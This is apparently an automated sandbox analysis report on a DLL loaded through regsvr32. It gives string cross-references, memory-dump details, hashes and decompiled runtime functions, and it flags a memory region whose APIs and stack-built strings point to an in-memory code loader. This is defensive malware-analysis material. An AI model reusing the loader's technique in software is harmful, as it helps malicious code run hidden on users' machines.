u, xrefs: 00007FFE354F6737
G, xrefs: 00007FFE354F4DEF
x, xrefs: 00007FFE354F63D7
Z, xrefs: 00007FFE354F6B9F
&, xrefs: 00007FFE354F4157
., xrefs: 00007FFE354F4187
k, xrefs: 00007FFE354F8627
!, xrefs: 00007FFE354F6387
[, xrefs: 00007FFE354F7E37
w, xrefs: 00007FFE354F691F
1, xrefs: 00007FFE354F8B3F
g, xrefs: 00007FFE354F7E67
z, xrefs: 00007FFE354F47A7
M, xrefs: 00007FFE354F4487
[, xrefs: 00007FFE354F5E2F
X, xrefs: 00007FFE354F5327
s, xrefs: 00007FFE354F66B7
u, xrefs: 00007FFE354F45FF
Z, xrefs: 00007FFE354F8677
/, xrefs: 00007FFE354F5B3F
0, xrefs: 00007FFE354F8557
%, xrefs: 00007FFE354F4F97
(, xrefs: 00007FFE354F49C7
k, xrefs: 00007FFE354F878F
}, xrefs: 00007FFE354F625F
?, xrefs: 00007FFE354F41AF
5, xrefs: 00007FFE354F783F
M, xrefs: 00007FFE354F6E2F
z, xrefs: 00007FFE354F5ED7
U, xrefs: 00007FFE354F6A8F
t, xrefs: 00007FFE354F6F8F
@, xrefs: 00007FFE354F8C87
`, xrefs: 00007FFE354F7CD7
m, xrefs: 00007FFE354F7D37
, xrefs: 00007FFE354F5A87
P, xrefs: 00007FFE354F7A27
#, xrefs: 00007FFE354F50DF
G, xrefs: 00007FFE354F646F
b, xrefs: 00007FFE354F7D47
{, xrefs: 00007FFE354F46F7
W, xrefs: 00007FFE354F5227
!, xrefs: 00007FFE354F6E27
(, xrefs: 00007FFE354F6047
H, xrefs: 00007FFE354F426F
%, xrefs: 00007FFE354F88DF
k, xrefs: 00007FFE354F7617
', xrefs: 00007FFE354F904F
C, xrefs: 00007FFE354F789F
*, xrefs: 00007FFE354F525F
n, xrefs: 00007FFE354F6277
n, xrefs: 00007FFE354F4A2F
n, xrefs: 00007FFE354F82C7
K, xrefs: 00007FFE354F8EAF
z, xrefs: 00007FFE354F6D17
u, xrefs: 00007FFE354F65DF
t, xrefs: 00007FFE354F75BF
\, xrefs: 00007FFE354F4647
%, xrefs: 00007FFE354F7927
d, xrefs: 00007FFE354F53A7
~, xrefs: 00007FFE354F7ADF
,, xrefs: 00007FFE354F7B07
), xrefs: 00007FFE354F7D87
0, xrefs: 00007FFE354F45AF
r, xrefs: 00007FFE354F53DF
t, xrefs: 00007FFE354F740F
w, xrefs: 00007FFE354F4EFF
}, xrefs: 00007FFE354F5EBF
o, xrefs: 00007FFE354F7FCF
+, xrefs: 00007FFE354F844F
e, xrefs: 00007FFE354F9047
9, xrefs: 00007FFE354F4FD7
\, xrefs: 00007FFE354F611F
J, xrefs: 00007FFE354F53D7
], xrefs: 00007FFE354F79E7
$, xrefs: 00007FFE354F4947
U, xrefs: 00007FFE354F6C3F
O, xrefs: 00007FFE354F71FF
W, xrefs: 00007FFE354F45CF
v, xrefs: 00007FFE354F8E77
], xrefs: 00007FFE354F8C7F
,, xrefs: 00007FFE354F9157
<, xrefs: 00007FFE354F475F
U, xrefs: 00007FFE354F8247
,, xrefs: 00007FFE354F6967
%, xrefs: 00007FFE354F62E7
W, xrefs: 00007FFE354F7037
a, xrefs: 00007FFE354F8457
P, xrefs: 00007FFE354F875F
$, xrefs: 00007FFE354F5D77
,, xrefs: 00007FFE354F8F57
h, xrefs: 00007FFE354F839F
9, xrefs: 00007FFE354F40BF
?, xrefs: 00007FFE354F577F
_, xrefs: 00007FFE354F513F
R, xrefs: 00007FFE354F7637
b, xrefs: 00007FFE354F8877
%, xrefs: 00007FFE354F8767
+, xrefs: 00007FFE354F8837
*, xrefs: 00007FFE354F6EA7
z, xrefs: 00007FFE354F89AF
Z, xrefs: 00007FFE354F5EDF
d, xrefs: 00007FFE354F801F
*, xrefs: 00007FFE354F8BDF
|, xrefs: 00007FFE354F862F
?, xrefs: 00007FFE354F4EE7
Q, xrefs: 00007FFE354F6F9F
', xrefs: 00007FFE354F42FF
#, xrefs: 00007FFE354F4D47
:, xrefs: 00007FFE354F482F
l, xrefs: 00007FFE354F46B7
%, xrefs: 00007FFE354F6EF7
&, xrefs: 00007FFE354F72EF
j, xrefs: 00007FFE354F8BD7
], xrefs: 00007FFE354F45C7
*, xrefs: 00007FFE354F564F
A, xrefs: 00007FFE354F4F27
@, xrefs: 00007FFE354F437F
o, xrefs: 00007FFE354F692F
#, xrefs: 00007FFE354F68B7
/, xrefs: 00007FFE354F4DF7
J, xrefs: 00007FFE354F541F
J, xrefs: 00007FFE354F4F6F
$, xrefs: 00007FFE354F5507
y, xrefs: 00007FFE354F698F
i, xrefs: 00007FFE354F4E1F
h, xrefs: 00007FFE354F7147
t, xrefs: 00007FFE354F514F
$, xrefs: 00007FFE354F90EF
r, xrefs: 00007FFE354F4EAF

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $ $ $ $ $ $!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$'$'$'$'$'$'$'$'$'$'$'$'$'$($($($($($($($($($($($($($($($)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$+$+$+$+$+$+$+$+$+$+$+$+$+$+$+$+$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$-$-$-$-$-$-$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$0$0$0$0$0$0$0$0$0$0$0$0$0$0$1$1$1$1$1$1$1$1$1$1$1$1$1$2$2$2$2$2$2$2$2$2$2$2$3$3$3$3$3$3$3$3$3$3$3$3$4$4$4$4$4$4$4$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$6$6$6$6$6$6$6$6$7$7$7$7$7$7$8$8$8$8$8$8$8$8$8$8$8$8$8$9$9$9$9$9$9$9$9$9$9$9$9$:$:$:$:$:$:$;$;$;$;$;$;$;$;$;$;$;$;$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$=$=$=$=$=$=$>$>$>$>$>$>$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$@$@$@$@$@$@$@$@$A$A$A$A$A$A$A$B$B$B$B$B$C$C$C$C$C$C$C$C$C$C$C$C$D$D$D$D$D$D$E$E$E$E$E$E$E$F$F$F$F$F$F$G$G$G$G$G$G$G$G$G$G$G$H$H$H$H$H$H$H$H$H$I$I$I$I$I$I$I$I$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$K$K$K$K$K$K$K$K$K$K$K$L$L$L$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$N$N$N$N$N$N$N$N$N$N$N$N$N$O$O$O$O$O$O$O$O$O$O$O$P$P$P$P$P$P$P$P$P$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$S$S$S$S$S$S$T$T$T$T$T$T$T$T$T$T$T$T$U$U$U$U$U$U$U$U$U$U$U$U$V$V$V$V$V$V$V$V$V$V$V$V$V$V$W$W$W$W$W$W$W$W$W$W$W$W$W$W$X$X$X$X$X$X$X$X$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$[$[$[$[$[$[$[$[$[$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$]$]$]$]$]$]$]$]$]$]$]$]$^$^$^$^$^$^$^$^$_$_$_$_$_$_$_$_$_$_$_$_$_$_$`$`$`$`$`$`$`$`$`$`$`$`$`$a$a$a$a$a$a$a$a$a$a$a$a$a$a$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$c$c$c$c$c$c$c$c$c$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$f$f$f$f$f$f$f$f$f$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$h$h$h$h$h$h$h$h$h$h$h$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$o$o$o$o$o$p$p$p$p$p$p$p$p$p$p$p$p$p$p$p$q$q$q$q$q$q$q$q$q$q$q$q$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$u$u$u$u$u$u$u$u$v$v$v$v$v$v$v$v$v$v$w$w$w$w$w$w$w$w$w$w$w$w$x$x$x$x$x$x$x$x$y$y$y$y$y$y$y$z$z$z$z$z$z$z$z$z$z$z$z$z$z$z$z$z${${${${${${${${${${${${$|$|$|$|$|$|$|$|$|$|$}$}$}$}$}$}$}$}$}$}$}$}$}$}$}$}$}$~$~$~$~$~$~$~$~$~$~$~$~$~$~$~$~
API String ID: 0-872547024
Opcode ID: 3a27706d0d0d31ed74deef45e1537039e2130aa42566fb1f21807094dbbd0de7
Instruction ID: 5959f4462c16a8f47cfc540b4055be293562dcfa0c2750097b8ad321c5c0a76c
Opcode Fuzzy Hash: 3a27706d0d0d31ed74deef45e1537039e2130aa42566fb1f21807094dbbd0de7
Instruction Fuzzy Hash: 93A35E1250DBC1C9E332C23CB45878FAE9193A3319F484299D3E41AADBC7AE8155DF67

Uniqueness

Uniqueness Score: -1.00%

Function 00690000 Relevance: 53.5, APIs: 4, Strings: 26, Instructions: 953
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE ref: 00690344
VirtualAlloc.KERNELBASE ref: 0069038A
VirtualProtect.KERNELBASE ref: 0069085C
RtlAddFunctionTable.KERNEL32 ref: 006908E9

Strings

hIns, xrefs: 006900EB
ualA, xrefs: 006900B5
Virt, xrefs: 006900C5
ncti, xrefs: 00690141
eSys, xrefs: 00690117
ualP, xrefs: 006900CD
ddFu, xrefs: 0069013A
aryA, xrefs: 006900A5
Virt, xrefs: 006900AD
truc, xrefs: 006900F2
RtlA, xrefs: 00690133
Load, xrefs: 00690095
ct, xrefs: 006900DD
o, xrefs: 0069012E
Libr, xrefs: 0069009D
lloc, xrefs: 006900BD
tion, xrefs: 006900F9
nf, xrefs: 00690127
Slee, xrefs: 00690084
ativ, xrefs: 0069010F
temI, xrefs: 0069011F
onTa, xrefs: 00690148
Flus, xrefs: 006900E4
Cach, xrefs: 00690100
rote, xrefs: 006900D5
GetN, xrefs: 00690107

Memory Dump Source

Source File: 00000003.00000002.256364936.0000000000690000.00000040.00001000.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_regsvr32.jbxd

Similarity

API ID: Virtual$AllocFunctionInfoNativeProtectSystemTable
String ID: Cach$Flus$GetN$Libr$Load$RtlA$Slee$Virt$Virt$aryA$ativ$ct$ddFu$eSys$hIns$lloc$ncti$nf$o$onTa$rote$temI$tion$truc$ualA$ualP
API String ID: 998211078-3605381585
Opcode ID: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction ID: 00ecea4cb0ec966ec9841939254ec136e995439136362a3be8cf64ef62231d46
Opcode Fuzzy Hash: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction Fuzzy Hash: 44521530618B488FEB19DF18D8856BAB7F6FB54304F14462DE88BC7651DB34E942CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E4194 Relevance: 18.1, APIs: 12, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FFE7FFE354E4194(void* __edx) {
				void* _t1;
				void* _t3;
				void* _t6;

				_t3 = _t6;
				if (_t3 == 0) goto 0x354e41d5;
				if (_t3 == 0) goto 0x354e41c9;
				if (_t3 == 0) goto 0x354e41bc;
				if (_t6 == 1) goto 0x354e41b5;
				return _t1;
			}

0x7ffe354e4198
0x7ffe354e419a
0x7ffe354e419f
0x7ffe354e41a4
0x7ffe354e41a9
0x7ffe354e41b4

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE354E41BC
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE354E4211
__scrt_fastfail.LIBCMT ref: 00007FFE354E422D
_RTC_Initialize.LIBCMT ref: 00007FFE354E4245
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FFE354E4267
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE354E4283
__scrt_release_startup_lock.LIBCMT ref: 00007FFE354E42AE
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FFE354E42CD

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_is_nonwritable_in_current_image__scrt_release_startup_lock
String ID:
API String ID: 3885183344-0
Opcode ID: ec243dcbcff698803e31ef63cfb55d7716ebdb7e47eb3b9e43d512bdeea0bc95
Instruction ID: 82326a8b98bc90c18881478f71de38e385dae62021bd7ceb61310c4b0a641baa
Opcode Fuzzy Hash: ec243dcbcff698803e31ef63cfb55d7716ebdb7e47eb3b9e43d512bdeea0bc95
Instruction Fuzzy Hash: 78515830E0834395FA58AB61B84D2B96FA0AFC5F80F664075E94F477B7DE2CB945A700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1580 Relevance: 10.6, APIs: 7, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E00007FFE7FFE354E1580(long long __rcx, long long __rdx, long long _a8, void* _a16) {
				char _v16;
				char _v24;
				long long _v32;
				signed long long _v40;
				signed long long _v48;
				signed long long _v56;
				void* _t52;
				signed long long _t60;
				signed long long _t62;
				signed long long _t66;
				signed long long _t67;
				signed long long _t72;
				signed long long _t73;
				void* _t105;

				_a16 = __rdx;
				_a8 = __rcx;
				_v32 = 0xfffffffe;
				_t60 = _a16;
				if (_a8 == _t60) goto 0x354e1693;
				r8d = 0;
				E00007FFE7FFE354E1910(1, _t60, _a8, _t105); // executed
				_t62 = _t60 ^ _t60;
				if (_t62 == 1) goto 0x354e160a;
				E00007FFE7FFE354E1850(_a16);
				_v56 = _t62;
				E00007FFE7FFE354E1850(_a8);
				_t66 = E00007FFE7FFE354E2A50(_t62, _v56) & 0x000000ff;
				if (_t66 == 0) goto 0x354e160a;
				E00007FFE7FFE354E1850(_a16);
				_t67 = _t66;
				E00007FFE7FFE354E1870(_t67, _a8, _t67);
				E00007FFE7FFE354E1850(_a16);
				_v48 = _t67;
				E00007FFE7FFE354E1850(_a8);
				_t72 = E00007FFE7FFE354E2A50(_t67, _v48) & 0x000000ff;
				if (_t72 == 0) goto 0x354e167a;
				E00007FFE7FFE354E1A20(_t72, _a16,  &_v24);
				_t73 = _t72;
				_v40 = _t73;
				E00007FFE7FFE354E1AA0(_t73, _a16,  &_v16);
				_t74 = _t73;
				_t52 = E00007FFE7FFE354E2A90(_t72, _t73, _a8,  *_t73,  *_v40);
				goto 0x354e1693;
				E00007FFE7FFE354E2B00(_t52, _a16);
				return E00007FFE7FFE354E1F00(_t74, _a8, _t74);
			}

0x7ffe354e1580
0x7ffe354e1585
0x7ffe354e158e
0x7ffe354e1597
0x7ffe354e15a1
0x7ffe354e15a7
0x7ffe354e15b1
0x7ffe354e15b7
0x7ffe354e15bc
0x7ffe354e15c3
0x7ffe354e15c9
0x7ffe354e15d3
0x7ffe354e15ea
0x7ffe354e15ef
0x7ffe354e15f6
0x7ffe354e15fb
0x7ffe354e1604
0x7ffe354e160f
0x7ffe354e1615
0x7ffe354e161f
0x7ffe354e1636
0x7ffe354e163b
0x7ffe354e1647
0x7ffe354e164c
0x7ffe354e164d
0x7ffe354e165c
0x7ffe354e1661
0x7ffe354e1672
0x7ffe354e1678
0x7ffe354e167f
0x7ffe354e169c

APIs

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E15C3
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E15D3
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E15F6

Part of subcall function 00007FFE354E1870: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E1883

Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00007FFE354E15E4

Part of subcall function 00007FFE354E2A50: type_info::_name_internal_method.LIBCMTD ref: 00007FFE354E2A68

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E160F
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E161F
Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00007FFE354E1630

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::$EmptyQueue::StructuredWork$Affinity::operator!=Hardware$type_info::_name_internal_method
String ID:
API String ID: 1937815552-0
Opcode ID: 954c333ac2df008955a029cb14cb6a55c87b09566746746b3e5b77c9ccfd621f
Instruction ID: 9a76df214acadf20cfd454b0c92fb177a8ede6ef053137f59d7faa77bf0fa5c6
Opcode Fuzzy Hash: 954c333ac2df008955a029cb14cb6a55c87b09566746746b3e5b77c9ccfd621f
Instruction Fuzzy Hash: 1B31EE31A9DB8681DA14EB22E45547EAB51FBC5FD0F116535EA8F837BACE2CE4009B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E2600 Relevance: 9.1, APIs: 6, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00007FFE7FFE354E2600(long long __rcx, signed int __rdx, long long __r8, long long _a8, signed int _a16, long long _a24) {
				long long _v24;
				long long _v32;
				long long _v40;
				void* _v64;
				long long _v72;
				long long _v80;
				long long _v88;
				long long _v96;
				long long _v104;
				char _v112;
				signed long long _v120;
				void* _t62;
				signed long long _t79;
				intOrPtr* _t81;
				intOrPtr* _t82;
				long long _t83;
				intOrPtr* _t84;
				intOrPtr* _t85;
				signed long long _t86;
				long long _t88;
				long long* _t89;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v24 = 0xfffffffe;
				_t79 = _a16 | 0x0000000f;
				_v120 = _t79;
				E00007FFE7FFE354E2830(_t79, _a8);
				if (_t79 - _v120 >= 0) goto 0x354e2659;
				_v120 = _a16;
				goto 0x354e2736;
				_t81 = _v120;
				_v104 = _t81;
				E00007FFE7FFE354E2150(_t81, _a8);
				_t82 =  *_t81;
				if (_t82 - _v104 > 0) goto 0x354e2696;
				goto 0x354e2736;
				E00007FFE7FFE354E2150(_t82, _a8);
				_t83 =  *_t82;
				_v96 = _t83;
				E00007FFE7FFE354E2830(_t83, _a8);
				_t84 = _t83 - _v96;
				_v88 = _t84;
				E00007FFE7FFE354E2150(_t84, _a8);
				if ( *_t84 - _v88 > 0) goto 0x354e2724;
				E00007FFE7FFE354E2150(_t84, _a8);
				_t85 =  *_t84;
				_v80 = _t85;
				E00007FFE7FFE354E2150(_t85, _a8);
				_t86 = _v80 +  *_t85;
				_v120 = _t86;
				goto 0x354e2736;
				E00007FFE7FFE354E2830(_t86, _a8);
				_v120 = _t86;
				_t88 = _v120 + 1;
				_v72 = _t88;
				E00007FFE7FFE354E1850(_a8);
				E00007FFE7FFE354E28E0(_t88, _v72); // executed
				_v64 = _t88;
				_t89 = _v64;
				_v112 = _t89;
				goto 0x354e2771;
				if (_a24 <= 0) goto 0x354e27b0;
				_t62 = E00007FFE7FFE354E18F0(_t89, _a8);
				_v40 = _t89;
				E00007FFE7FFE354E2C00(_t62, _v112);
				E00007FFE7FFE354E11E0(_t89, _v40, _a24);
				r8d = 0;
				E00007FFE7FFE354E1910(1, _t89, _a8, _a24);
				E00007FFE7FFE354E2BC0(E00007FFE7FFE354E2190(_a8), _t89);
				_v32 = _t89;
				E00007FFE7FFE354E1850(_a8);
				E00007FFE7FFE354E2C10(_t89, _t89, _v32,  &_v112);
				E00007FFE7FFE354E2150(_t89, _a8);
				 *_t89 = _v120;
				return E00007FFE7FFE354E23A0(_t89, _a8, _a24);
			}

0x7ffe354e2600
0x7ffe354e2605
0x7ffe354e260a
0x7ffe354e2616
0x7ffe354e262a
0x7ffe354e262e
0x7ffe354e263b
0x7ffe354e2645
0x7ffe354e264f
0x7ffe354e2654
0x7ffe354e265b
0x7ffe354e2669
0x7ffe354e2675
0x7ffe354e267c
0x7ffe354e268f
0x7ffe354e2691
0x7ffe354e269e
0x7ffe354e26a5
0x7ffe354e26b1
0x7ffe354e26bd
0x7ffe354e26c7
0x7ffe354e26ca
0x7ffe354e26d7
0x7ffe354e26e4
0x7ffe354e26ee
0x7ffe354e26f5
0x7ffe354e2701
0x7ffe354e270d
0x7ffe354e271a
0x7ffe354e271d
0x7ffe354e2722
0x7ffe354e272c
0x7ffe354e2731
0x7ffe354e273b
0x7ffe354e273e
0x7ffe354e274b
0x7ffe354e275b
0x7ffe354e2760
0x7ffe354e2765
0x7ffe354e276a
0x7ffe354e276f
0x7ffe354e277a
0x7ffe354e2784
0x7ffe354e2789
0x7ffe354e2793
0x7ffe354e27ab
0x7ffe354e27b0
0x7ffe354e27bd
0x7ffe354e27d2
0x7ffe354e27d7
0x7ffe354e27e4
0x7ffe354e27f9
0x7ffe354e2806
0x7ffe354e2810
0x7ffe354e282f

APIs

Part of subcall function 00007FFE354E2830: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E283E
Part of subcall function 00007FFE354E2830: Concurrency::details::SchedulerBase::ThrottlerDispatchBridge.LIBCMTD ref: 00007FFE354E284B

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E274B
type_info::_name_internal_method.LIBCMTD ref: 00007FFE354E275B
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E2784
char_traits.LIBCPMTD ref: 00007FFE354E27AB
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E27E4
construct.LIBCPMTD ref: 00007FFE354E27F9

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::$Work$EmptyQueue::Structured$Base::$BridgeContextDispatchIdentityQueueSchedulerThrottlerchar_traitsconstructtype_info::_name_internal_method
String ID:
API String ID: 3284725307-0
Opcode ID: 64b4fcb419f68d04f760d19031f3ab5cdc5356945a98713b59a62d6a36c812a5
Instruction ID: e8229120fa2fccd8383c38a50fc725730c8942d1c1c5da2b23b11319f8737ade
Opcode Fuzzy Hash: 64b4fcb419f68d04f760d19031f3ab5cdc5356945a98713b59a62d6a36c812a5
Instruction Fuzzy Hash: B051FA32A1DB8685DA64DB51E8553AEB760FBC9F80F510135EACE87BA9CF7CD4009B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1910 Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00007FFE7FFE354E1910(signed char __edx, void* __rax, long long __rcx, long long __r8, long long _a8, signed char _a16, long long _a24) {
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				void* _t31;
				signed long long _t46;
				intOrPtr* _t47;
				long long* _t49;

				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_t46 = _a16 & 0x000000ff;
				if (_t46 != 0) goto 0x354e1930;
				goto 0x354e19f1;
				E00007FFE7FFE354E2150(_t46, _a8);
				if ( *_t46 - 0x10 < 0) goto 0x354e19f1;
				E00007FFE7FFE354E2190(_a8);
				_t47 =  *_t46;
				_v40 = _t47;
				E00007FFE7FFE354E2BC0(E00007FFE7FFE354E2190(_a8), _t47);
				_v32 = _t47;
				E00007FFE7FFE354E1850(_a8);
				_t31 = E00007FFE7FFE354E2BD0(_t47, _v32);
				if (_a24 <= 0) goto 0x354e19bd;
				E00007FFE7FFE354E2C00(_t31, _v40);
				_v24 = _t47;
				E00007FFE7FFE354E2190(_a8);
				E00007FFE7FFE354E11E0(_t47, _v24, _a24);
				E00007FFE7FFE354E2150(_t47, _a8);
				_t49 =  *_t47 + 1;
				_v16 = _t49;
				E00007FFE7FFE354E1850(_a8);
				E00007FFE7FFE354E2100(_t49, _v40, _v16); // executed
				E00007FFE7FFE354E2150(_t49, _a8);
				 *_t49 = 0xf;
				return E00007FFE7FFE354E23A0(_t49, _a8, _a24);
			}

0x7ffe354e1910
0x7ffe354e1915
0x7ffe354e1919
0x7ffe354e1922
0x7ffe354e1929
0x7ffe354e192b
0x7ffe354e1935
0x7ffe354e193e
0x7ffe354e1949
0x7ffe354e194e
0x7ffe354e1951
0x7ffe354e1963
0x7ffe354e1968
0x7ffe354e1972
0x7ffe354e1982
0x7ffe354e198d
0x7ffe354e1994
0x7ffe354e1999
0x7ffe354e19a3
0x7ffe354e19b8
0x7ffe354e19c2
0x7ffe354e19ca
0x7ffe354e19cd
0x7ffe354e19d7
0x7ffe354e19ec
0x7ffe354e19f6
0x7ffe354e19fb
0x7ffe354e1a15

APIs

